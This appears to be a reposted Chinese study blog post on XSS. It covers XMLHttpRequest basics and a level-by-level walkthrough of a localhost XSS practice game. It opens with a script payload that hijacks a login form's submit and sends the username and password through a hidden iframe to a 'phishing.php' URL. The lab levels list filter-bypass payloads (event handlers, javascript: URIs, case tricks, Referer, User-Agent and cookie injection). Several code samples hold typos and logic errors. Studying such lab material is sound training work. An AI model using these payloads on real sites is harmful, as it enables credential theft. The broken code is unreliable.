    ?

    小補充: forms 集合可返回對文檔中所有 Form 對象的引用。

    語法 document.forms[]

    ?

    ?

    ?

    ?

    ?

    構建XSS ?payload 劫持表單和控制web行為

    ??<script>

    ?? form=document.froms["userslogin"];

    ?? form.οnsubmit=function(){

    ?? var iframe=document.createElement("iframe");

    ?? iframe.style.display="none";

    ?? alert(form.user.value);

    ?? iframe.src="http://127.0.0.1/phishing.php?user="+form.user.values+"$pass="+form.pass.value;

    ?? document.body.appendChild(iframe);

    ?? }

    ??</script>

    ??這段代碼用來截取用戶在登錄頁面輸入的用戶名字和密碼信息,然后提交給當前創建的PHP腳本

    ?

    沒試過

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    這里詳細的介紹了ajax

    ?

    ?????方法

    ?????描述

    getALLResponseHeaders()

    ?把HTTP請求所有相應收不作為鍵/值對返回

    ?

    ?

    ?

    open(method,url,async)

    ?

    規定請求的類型、URL 以及是否異步處理請求。

    • method:請求的類型;GET 或 POST
    • url:文件在服務器上的位置
    • async:true(異步)或 false(同步)

    ?

    ?

    ?send(string)

    ?

    將請求發送到服務器。

    • string:僅用于 POST 請求

    ?

    ?

    ?

    setRequestHeader(header,value)

    ?

    向請求添加 HTTP 頭。

    • header: 規定頭的名稱
    • value: 規定頭的值

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    XMLHtttpRequest對象的屬性

    ?

    ?

    ??onreadystatechange

    ??

    存儲函數(或函數名),每當 readyState 屬性改變時,就會調用該函數。

    readyState

    ?

    存有 XMLHttpRequest 的狀態。從 0 到 4 發生變化。

    • 0: 請求未初始化
    • 1: 服務器連接已建立
    • 2: 請求已接收
    • 3: 請求處理中
    • 4: 請求已完成,且響應已就緒

    ?

    responseText

    ??

    ?

    獲得字符串形式的響應數據。

    ?

    ?responseXML

    ?獲得 XML 形式的響應數據。

    ?

    ?

    ?

    ???status

    服務器的相應HTTP狀態碼

    ?

    ?statusText

    ?http狀態對應文本

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    發送一個GET請求

    ?

    <script>

    ?

    ??function createXHR(){

    ?

    ?? if(typeof XMLHttpRequest !='undefind'){ ???????????//非IE6的創建Ajax的辦法

    ?

    ?? return new XMLHttpRequest();

    ?

    ?? }else if(typeof ActiveXObject !='undefind'){ ??????????//IE6的創建Ajax的辦法

    ?

    ???????????var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp']; ???//IE6的xmlhttp版本有很多

    ?

    ???????????for(var i=0;version.length;i++){

    ?

    ??????????? try{

    ?

    ??????????? ?return new ActiveXObject(version[i]); ????????//自己去定義xmlhttp做成一個數組,遍歷循環,如果認識那個版本就去創建,不認識肯定會報錯,所以用try catch 跳過報錯的環節,直接選到瀏覽器符合的版本

    ?

    ??????????? }catch(e){

    ?

    ??????????????//跳過

    ?

    ??????????? }

    ?

    ???????????}

    ?

    ?? }else{

    ?

    ?? throw new Error("您的系統或者瀏覽器不支持ajax") ?????//如果瀏覽器對于數組里的版本都識別不了,就報錯

    ?

    ?? }

    ?

    ??}

    ?

    ?

    ?

    ?

    ?

    ??var ?xml=createXHR(); //創建XHR請求對象

    ?

    ??xml.open("GET","web/url.php?"+data,true); ?//初始化請求

    ?

    ??xml.send() ??//和服務器建立鏈接并發數據

    ?

    ?

    ?

    ????????????????

    ?

    </script>

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    發送POSTajax 請求

    ?

    <script>

    ?

    ??function createXHR(){

    ?

    ?? if(typeof XMLHttpRequest !='undefind'){ ???????????//非IE6的創建Ajax的辦法

    ?

    ?? return new XMLHttpRequest();

    ?

    ?? }else if(typeof ActiveXObject !='undefind'){ ??????????//IE6的創建Ajax的辦法

    ?

    ???????????var version=['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp']; ???//IE6的xmlhttp版本有很多

    ?

    ???????????for(var i=0;version.length;i++){

    ?

    ??????????? try{

    ?

    ??????????? ?return new ActiveXObject(version[i]); ????????//自己去定義xmlhttp做成一個數組,遍歷循環,如果認識那個版本就去創建,不認識肯定會報錯,所以用try catch 跳過報錯的環節,直接選到瀏覽器符合的版本

    ?

    ??????????? }catch(e){

    ?

    ??????????????//跳過

    ?

    ??????????? }

    ?

    ???????????}

    ?

    ?? }else{

    ?

    ?? throw new Error("您的系統或者瀏覽器不支持ajax") ?????//如果瀏覽器對于數組里的版本都識別不了,就報錯

    ?

    ?? }

    ?

    ??}

    ?

    ?

    ?

    ?

    ?

    ??var ?xml=createXHR(); //創建XHR請求對象

    ?

    ??para="id=11&username=diwada&password=12314" ?//發送的數據

    ?

    ??xml.open("GET","web/url.php?"+data,true); ?//初始化請求

    ?

    ??xml.setRequestHeader("Content-Type","application/x-www-form-urlencode");

    ?

    ??xml.send(para) ??//和服務器建立鏈接并發數據

    ?

    ?

    ?

    ????????????????

    ?

    </script>

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ??????XSS小游戲 游戲答案

    ?

    第一關唯一和用戶交互的地方就是URL里的參數

    ?

    嘗試著把參數修改

    localhost/xss/level1.php?name=<img/src=1 ?οnerrοr='alert("1")'>

    ?

    然后就彈窗了,第一關過了

    ?

    ?

    ?

    第二關 表單里的輸入框,只對 ?空格 ?/ 做了轉義

    "οnmοuseοver=alert("s") //

    使用”? vlaue 前面的雙引號過濾,添加事件 ???????????// 把后面的過濾

    ?

    達到一個 移動 彈窗的效果

    ?

    ?

    ?

    第三關

    "還是<>都跳不出value標簽,故我們嘗試別的特殊字符,發現'號可以跳出標

    'οnmοuseοver=alert(/xss/) //

    ?下次如果遇到情況你也可以用單引號試試

    ???

    ?

    第四關

    "οnmοuseοver=alert(/ss/) //

    ?

    ?

    ?

    第五關

    ?

    ?

    它把事件加了一個 _ ?所以嘗試著用不需要事件的XSS來彈窗

    ?

    "><a href="javascript:alert('xss')">2</a>//

    “?>閉合前面的 ??// 閉合后面的 ?????????動態的添加一個a標簽

    或者用

    "><iframe src="javascript:alert(1)"></iframe>

    ?

    ?

    ?

    ?

    第六關

    "ONMOUSEOVER=alert(/ss/) //

    ?

    第七關

    "><a hrHREFef="javascriSCRIPtpt:alert('ss')">123</a>//

    on href 都進行了消除,嘗試著用兩個或者是大小寫來繞過限制

    "> 閉合前面的

    // 消除后面的

    ?

    或者嘗試這樣也可以

    "><span oOnOnnclick="alert('ss')">123</span>// ?

    進行繞過

    主要還是看他過濾了那一塊

    或者是" OnoOnNmouseover=alert(`ss`) //

    ?

    ?

    ?

    第八關

    ri 進行了轉換 轉換成r_i ????所以我對i 進行了編碼,

    ?

    ?

    javascript:alert('ss')

    ?

    ?

    整體達到的效果就是這樣

    ?

    ?

    怎么看有沒有實體編碼

    ?

    第九關

    對方對ri 進行了 r_i

    ””進行了實體編碼

    繞過的方法 ????????????????????????????????????????????

    javascript:alert( ` http://`?) ???????????????????`` 這個輸出的方法就是~這個鍵不加shift

    ?i ??是i轉化后的效果

    ?

    最終達成的效果 ?能彈窗

    ?

    ?

    怎樣看到底有沒有被實體編碼? 其實很簡單,例如

    我輸出 javascript:alert("http://") ??利用firbug查看

    ?

    ?

    右擊->編輯HTML 

    ?

    可以看到  "(引號)全部轉義了,

    ?

    ?

    現在我嘗試對引號進行編碼

    ?

    ?

    ?

    ?

    原來輸出的是 javascript:alert("http://") ?然后對引號進行編碼 成為了下面的

    ?????????? javascript:alert("http://")

    再放進去

    ?

    可以看到結果,然后右擊->編輯HTML

    ?

    可以看到,兩個引號還是被轉義了, 這就是實體編碼了~~~

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    10關

    ?

    沒有任何輸出框,我嘗試著對變量進行XSS

    ?

    現在通過firebug查看 ?????

    ?

    右擊->編輯HTML

    ?

    可以看到 <> 都被轉義了,現在嘗試進行編碼看看

    ?

    ?

    這道題目搞了很久,都沒弄明白,所以破例查看的源碼

    ?

    ?

    三個input 都隱藏了,你可以用firebug 打開 ??可以看到,雖然是三個,但是這邊只有name=t_sorf 的能夠傳值, 所以我們要在URL里動態的添加參數,

    ?

    ?

    可以看到這邊已經有值了

    構造payload ?使它彈窗

    http://localhost/xss/level10.php?keyword=good%20job!%20&t_sort=kk%22%20οnmοuseοver=alert(/ss/)%20type=%22test%22%20//

    ?

    t_sort=kk”?閉合掉前面的標簽

    οnmοuseοver=alert(/ss/) 彈窗

    type=”test”?// ?讓input顯示出來,并且用//閉合掉后面的

    ?

    ?

    然后移到input 就彈窗了

    ?

    ?

    ?

    新增知識點:適當的查看下網頁的源碼,看看input里是否能傳值,是否被隱藏了

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    11關 ,同樣的也是研究了好幾個小時不明白才看的

    ?

    它這邊對 t_sort 做了實體編碼,不管輸出啥都沒用,但是對HTTP——REFRER ?只做了<> 的替換

    $_SERVER['HTTP_REFERER']; ???就是referer (來源網址)

    ?

    所有可以在referer 里構造XSS

    ?

    在這里,我們新建一個tmp1.php頁面

    ?

    內容就是提交到 ?level11.php ?(第11關)

    在頁面點擊提交

    ?

    打開burp suite

    通過抓包修改referer

    http://localhost/tmp1.php" οnmοuseοver=alert(/ss/) type="text"//

    ?

    修改成這樣

    ?

    然后再放行就成這樣了

    ?

    構造出了一個 ?input ?移到這里就彈窗了

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    12關

    12關也是referer ?過濾沒嚴格,它判斷了來源是什么瀏覽器

    打開firebug 可以看到

    ?

    ?

    ?

    這邊是判斷對方的來源 是什么瀏覽器,我們可以在這里構造XSS payload

    ?

    通過11關跳轉到12關的這個對方,進行抓包

    ?

    修改這里的參數

    Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)" οnmοuseοver=alert(/ss/) type="text" //

    ?

    ?

    點擊forward 放行

    ?

    ?

    然后12關就會出現 本來應該隱藏的input ???移到哪里就會彈窗

    ?

    ?

    ?

    ?

    ?

    ?

    13關

    ?

    13關的關鍵點在于 t_cook 這個參數

    它的值是根據cookie 而定的,所以你可以在線的去修改cookie 的值

    ?

    ?

    ?

    ?

    再對頁面刷新下,就成功了~~

    ?

    ?

    ?

    ?

    14 關因為現在的一些安全原因,顯示不出來

    ?

    15

    http://bbs.ichunqiu.com/thread-15664-1-1.html

    答案

    ?不玩了,沒意思

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    轉載于:https://www.cnblogs.com/fengzaizhijian/p/6755890.html

    總結

    以上是生活随笔為你收集整理的xss专用章节的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。